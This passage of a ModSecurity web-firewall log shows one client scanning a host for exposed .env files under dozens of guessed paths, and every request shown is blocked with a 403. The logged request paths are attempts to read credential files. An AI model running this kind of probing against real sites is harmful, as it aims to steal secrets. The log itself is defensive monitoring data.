&quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumbs/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVCQAAAAc&quot;]
[Thu Feb 26 01:03:23.037710 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumbs/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVCQAAAAc&quot;]
[Thu Feb 26 01:03:23.037861 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumbs/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVCQAAAAc&quot;]
[Thu Feb 26 01:03:23.044562 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/integration/environment/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/Integration/Environment/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g47wAAAAY&quot;]
[Thu Feb 26 01:03:23.044769 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/Integration/Environment/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g47wAAAAY&quot;]
[Thu Feb 26 01:03:23.044919 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/Integration/Environment/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g47wAAAAY&quot;]
[Thu Feb 26 01:03:23.074692 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/todo-react/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/todo-react/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g48AAAAAY&quot;]
[Thu Feb 26 01:03:23.074943 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/todo-react/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g48AAAAAY&quot;]
[Thu Feb 26 01:03:23.075105 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/todo-react/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g48AAAAAY&quot;]
[Thu Feb 26 01:03:23.076159 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tiedostot/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tiedostot/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVCgAAAAc&quot;]
[Thu Feb 26 01:03:23.076360 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tiedostot/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVCgAAAAc&quot;]
[Thu Feb 26 01:03:23.076492 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tiedostot/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVCgAAAAc&quot;]
[Thu Feb 26 01:03:23.106331 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /testwork_json/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testwork_json/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g48QAAAAY&quot;]
[Thu Feb 26 01:03:23.106586 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testwork_json/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g48QAAAAY&quot;]
[Thu Feb 26 01:03:23.106762 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testwork_json/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g48QAAAAY&quot;]
[Thu Feb 26 01:03:23.132848 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /theme/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g48gAAAAY&quot;]
[Thu Feb 26 01:03:23.133283 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g48gAAAAY&quot;]
[Thu Feb 26 01:03:23.133491 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g48gAAAAY&quot;]
[Thu Feb 26 01:03:23.144825 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tmp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVDAAAAAc&quot;]
[Thu Feb 26 01:03:23.145033 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVDAAAAAc&quot;]
[Thu Feb 26 01:03:23.145193 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVDAAAAAc&quot;]
[Thu Feb 26 01:03:23.164775 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /theme_static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme_static/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g48wAAAAY&quot;]
[Thu Feb 26 01:03:23.164985 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme_static/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g48wAAAAY&quot;]
[Thu Feb 26 01:03:23.165130 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme_static/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g48wAAAAY&quot;]
[Thu Feb 26 01:03:23.184827 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tmp/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/config/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVDQAAAAc&quot;]
[Thu Feb 26 01:03:23.185034 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/config/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVDQAAAAc&quot;]
[Thu Feb 26 01:03:23.185168 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/config/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVDQAAAAc&quot;]
[Thu Feb 26 01:03:23.209869 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /thumb/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumb/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g49AAAAAY&quot;]
[Thu Feb 26 01:03:23.210122 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumb/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g49AAAAAY&quot;]
[Thu Feb 26 01:03:23.210268 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumb/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g49AAAAAY&quot;]
[Thu Feb 26 01:03:23.256140 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /thumbs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumbs/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g49QAAAAY&quot;]
[Thu Feb 26 01:03:23.256382 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumbs/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g49QAAAAY&quot;]
[Thu Feb 26 01:03:23.256538 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumbs/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g49QAAAAY&quot;]
[Thu Feb 26 01:03:23.298375 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tiedostot/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tiedostot/.env&quot;] [unique_id 